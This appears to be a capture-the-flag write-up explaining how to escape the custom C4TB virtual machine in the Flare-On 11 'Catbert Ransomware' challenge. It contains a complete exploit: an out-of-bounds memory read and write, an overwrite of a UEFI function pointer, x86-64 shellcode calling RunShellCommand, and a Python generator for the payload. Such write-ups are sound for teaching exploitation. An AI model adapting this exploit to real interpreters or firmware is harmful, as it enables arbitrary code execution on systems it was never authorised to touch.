Skip to content

(Solving and) Pwning Flare-On level 10

"Catbert Ransomware" is the tenth and final challenge of Flare-On 11.

I've discussed how to solve this challenge in Part 1, so I'll assume you know how the C4TB VM works. In this post, I'll discuss a vulnerability in the implementation of the C4TB VM, and how it can be exploited to execute arbitrary commands.

Overview

As we have discussed in Part 1, each .c4tb file contains the encrypted data, as well as a program that validates the encryption key. This program executes in the C4TB VM, which supports a fixed set of instructions. Most of these instructions do not interact with the environment outside the VM, except for the print instruction, which outputs a character to the terminal.

Our goal will be to write a C4TB program that can escape the VM and execute an arbitrary shell command: demo

VM implementation

The memory layout of the C4TB VM can be represented with the following struct:

c
struct C4TB{
    __int64 instruction_pointer;
    __int64 stack[256]; // Max stack size is 256 elements
    __int64 *stack_pointer; // Points to some element in the stack
    __int64 memory[MEM_SIZE]; // The memory region is quite large
}

This memory layout will be important in understanding the vulnerability.

Vulnerability

The C4TB VM is clearly not written with security in mind. For example, no bounds checking is present for the load and store instructions:

c
case 5u: // load
    vm.stack_pointer = --stack;
    v3 = vm.memory[*stack];
    *stack = v3;
    stack = vm.stack_pointer + 1;
    vm.stack_pointer = stack;
    break;
case 6u: // store
    vm.stack_pointer = stack - 1;
    v4 = *(stack - 1);
    vm.stack_pointer = stack - 2;
    vm.memory[*(stack - 2)] = v4;
    break;

If we attempt to load memory at index -1, we will instead access the stack_pointer, thus leaking an address from the UEFI program that implements the virtual machine (in this case the Shell module). Similarly, if we write to a memory offset that is negative, or beyond the bounds of the memory array, we can modify the memory of the Shell module.

EDK2 protections

While ASLR does not appear to be present in this build of EDK2, the base address of the Shell module may still vary, depending on which modules have been loaded before it. This will in turn be dependent on the QEMU configuration options. So, we will only assume that offsets within the Shell module are constant, and treat all other addresses as randomized.

Fortunately, all memory is RWX (there is no NX protection), so we can jump to shellcode that we have loaded in memory.

Exploitation

First, we need to find a way to use our arbitrary write vulnerability to overwrite a function pointer that can be triggered in a controlled manner.

gST->ConOut->SetAttribute, called in the print handler, looks like the perfect candidate!

c
case 0x26u:
    vm.stack_pointer = stack - 1;
    v11 = *(stack - 1);
    (gST->ConOut->SetAttribute)(gST->ConOut, 79LL);
    write_message(0xFFFFFFFFLL, 0xFFFFFFFFLL, L"%c", v11);
    (gST->ConOut->SetAttribute)(gST->ConOut, 71LL);

Our exploit will have 4 main parts:

  1. Set gST->ConOut->SetAttribute to the address of our payload
  2. Write our shellcode payload into memory at the chosen address
  3. Print something to trigger the shellcode
  4. Restore gST->ConOut->SetAttribute to its original value and jump back to normal program execution

Part 1

First, let's leak the stack pointer and store it in memory[0x10] for later use:

asm
push 0x10
push 0
push 1
sub
load # Reads memory[-1]
store

We'll then calculate the address of the stack and memory variables:

asm
push 0x11
push 0x10
load
push 0x8
sub
store # Store stack = stack_ptr - 8 in memory[0x11]

push 0x12
push 0x11
load
push 0x808
add
store # Memory base stored in memory[0x12]

The gST variable is located at an offset of -0xa70 bytes from memory. This translates to an index of -0x14e:

asm
push 0x13
push 0
push 0x14e
sub
load
store # memory[0x13] = gST

From now on, we will have to subtract the target address from &memory, instead of using a constant offset, as &gST->ConOut is likely not located within the Shell module:

asm
push 0x14
push 0x13
load
push 0x40
add # ConOut is located at offset 0x40
push 0x12
load
sub
push 3
shr
load
store # memory[0x14] = gST->ConOut

We'll do the same for gST->ConOut->SetAttribute:

asm
push 0x15
push 0x14
load
push 0x28
add
push 0x12
load
sub
push 3
shr # Here we have the memory index of gST->ConOut->SetAttribute
store # Store it in memory[0x15]

push 0x16
push 0x15
load # Load the memory index of gST->ConOut->SetAttribute
load # Load the value of gST->ConOut->SetAttribute
store # memory[0x16] = gST->ConOut->SetAttribute

We'll store our shellcode at memory[0x20] onwards. Let's set gST->ConOut->SetAttribute to &memory[0x20]:

asm
push 0x15
load
push 0x12
load
push 0x100 # 0x20 * 8
add
store # memory[memory[0x15]] = &memory[0x20]

Part 2

Here's a couple of Python helper functions that will help us generate the instructions required to load shellcode into &memory[0x20]:

python
def do_push64(val):
    insns = "push 0\n"
    for i in range(4):
        insns += f"push {val & 0xffff}\n"
        insns += f"push {i*16}\nshl\n"
        insns += "add\n"
        val >>= 16
    return insns

def do_load_shellcode(b):
    insns = ""
    for i in range(0, len(b), 8):
        chunk = b[i:i+8]
        if len(chunk) != 8:
            chunk += b"\0" * (8-len(chunk))
        insns += f"push {0x20+(i//8)}\n"
        insns += do_push64(int.from_bytes(chunk, 'little'))+"\n"
        insns += "store\n"
    return insns

Shellcode

Unlike usual "userland" pwn challenges, we don't have an operating system that can handle syscalls, so regular shellcode to pop a shell will not work.

However, upon searching the EDK2 source code, I found the RunShellCommand function, which is also located in the Shell module. This function is called to parse and execute commands that the user enters on the UEFI terminal.

Since we can execute arbitrary shellcode, we can simply call this function with the command we want to execute (in this case the user input in the form of the encryption key):

asm
mov rsi, rcx # Save gST->ConOut
mov r13, qword ptr [rsi + 0x28] # gST->ConOut->SetAttribute (shellcode address)
sub r13, 0x100 # r13 is now &memory
mov rax, r13
sub rax, 0xe4e08 # rax now points to RunShellCommand
lea rcx, [r13 - 0x970] # Load &input_key
mov rcx, qword ptr [rcx] # Points to input_key (wchar_t)
xor rdx, rdx
call rax # call RunShellCommand(input, 0)

However, this doesn't work, as RunShellCommand calls gST->ConOut->SetAttribute internally when output is printed to the terminal.

This will result in an infinite loop, as gST->ConOut->SetAttribute actually points to our shellcode.

Instead, we will first need to restore gST->ConOut->SetAttribute, call RunShellCommand, then return to the check_key function:

asm
mov rsi, rcx # Save gST->ConOut
mov r13, qword ptr [rsi + 0x28] # gST->ConOut->SetAttribute (shellcode address)
sub r13, 0x100 # r13 is now &memory
mov rax, qword ptr [r13 + 0xb0] # Load the original SetAttribute address
mov qword ptr [rsi + 0x28], rax # Restore SetAttribute so stuff won't crash
mov rax, r13
sub rax, 0xe4e08 # rax now points to RunShellCommand
lea rcx, [r13 - 0x970] # Load &input_key
mov rcx, qword ptr [rcx] # Points to input_key (wchar_t)
xor rdx, rdx
call rax # call RunShellCommand(input, 0)
pop rax # Delete return address from stack (we don't need that)
lea rax, [r13-0xb75d5] # Jump back to somewhere safe in check_key
jmp rax

Full exploit

C4TB assembler not included (I might make another post about this next time).

The compiled exploit can be found here: exploit.c4tb.

Note that the command to be executed has to be exactly 16 characters long (you can pad shorter commands with spaces).

python
from pwn import asm, context

context.arch = "amd64"

# Usual preamble
insns = """push 0
push 48042
store
push 1
push 56780
store
push 2
push 65518
store
push 3
push 44510
store
push 4
push 61374
store
push 5
push 65226
store
push 6
push 48826
store
push 7
push 52651
store
push 8
push 3
load
push 0x30
shl
push 2
load
push 0x20
shl
or
push 0x1
load
push 0x10
shl
or
push 0
load
or
store
push 9
push 7
load
push 0x30
shl
push 6
load
push 0x20
shl
or
push 0x5
load
push 0x10
shl
or
push 4
load
or
store
"""

def store(val, idx):
    return f"push {idx}\npush {val}\nstore"

def load(idx):
    return f"push {idx}\nload"

def do_print(val):
    if type(val) == str:
        val = ord(val)
    return f"push {val}\nprint"

def do_println(s):
    insns = ""
    s += "\r\n"
    for c in s:
        insns += do_print(c) + "\n"
    return insns

def do_print64(idx):
    insns = ""
    insns += do_print("0")+"\n"
    insns += do_print("x")+"\n"
    for i in range(16):
        insns += load(idx)+"\n"
        insns += f"push {60 - i*4}\nshr\n"
        insns += "push 15\n"
        insns += "and\n"
        insns += "dup\n"
        insns += "push 6\nadd\n"
        insns += "push 4\nshr\n"
        insns += "push 7\nmul\n"
        insns += "push 48\nadd\nadd\n"
        insns += "print\n"
    insns += do_println("")+"\n"
    return insns

def do_push64(val):
    insns = "push 0\n"
    for i in range(4):
        insns += f"push {val & 0xffff}\n"
        insns += f"push {i*16}\nshl\n"
        insns += "add\n"
        val >>= 16
    return insns

def do_load_shellcode(b):
    insns = ""
    for i in range(0, len(b), 8):
        chunk = b[i:i+8]
        if len(chunk) != 8:
            chunk += b"\0" * (8-len(chunk))
        insns += f"push {0x20+(i//8)}\n"
        insns += do_push64(int.from_bytes(chunk, 'little'))+"\n"
        insns += "store\n"
    return insns

shellcode = asm(
"""
mov rsi, rcx # Save gST->ConOut
mov r13, qword ptr [rsi + 0x28] # We will add 0x28 to get the address of SetAttribute
sub r13, 0x100 # r13 is now &memory
mov rax, qword ptr [r13 + 0xb0] # Load the original SetAttribute address
mov qword ptr [rsi + 0x28], rax # Restore SetAttribute so stuff won''t crash
mov rax, r13
sub rax, 0xe4e08 # rax now points to RunShellCommand
lea rcx, [r13 - 0x970]
mov rcx, qword ptr [rcx] # Points to input_key (wchar_t)
xor rdx, rdx
call rax # call RunShellCommand(input, 0)
pop rax # Delete return address from stack (we don''t need that)
lea rax, [r13-0xb75d5] # Jump back to somewhere safe in check_key
jmp rax
""")

insns += f"""
push 0x10
push 0
push 1
sub
load # Out of bounds access reads the stack pointer
store # store in memory[0x10]
{do_println('Leaked address:')}
{do_print64(0x10)}
push 0x11
{load(0x10)}
push 0x8
sub
store # Stack base stored in memory[0x11]
{do_println('Stack base:')}
{do_print64(0x11)}
push 0x12
{load(0x11)}
push 0x808
add
store # Memory base stored in memory[0x12]
{do_println('Memory base:')}
{do_print64(0x12)}
push 0x13
push 0
push 0x14e
sub
load # gST
store
{do_println('gST address:')}
{do_print64(0x13)}
push 0x14
{load(0x13)}
push 0x40
add # gST->ConOut
{load(0x12)}
sub
push 3
shr
load
store
{do_println('gST->ConOut address:')}
{do_print64(0x14)}
push 0x15
{load(0x14)}
push 0x28
add
{load(0x12)}
sub
push 3
shr # Here we have the memory index of gST->ConOut->SetAttribute
store # Store it in memory[0x15]
push 0x16
{load(0x15)}
load
store # Store the value of gST->ConOut->SetAttribute in memory[0x16]
{load(0x15)}
{load(0x12)} # We'll modify it to the address of memory[0x20]
push 0x100
add
store
{do_load_shellcode(shellcode)}
{do_print('X')} # This executes the shellcode
"""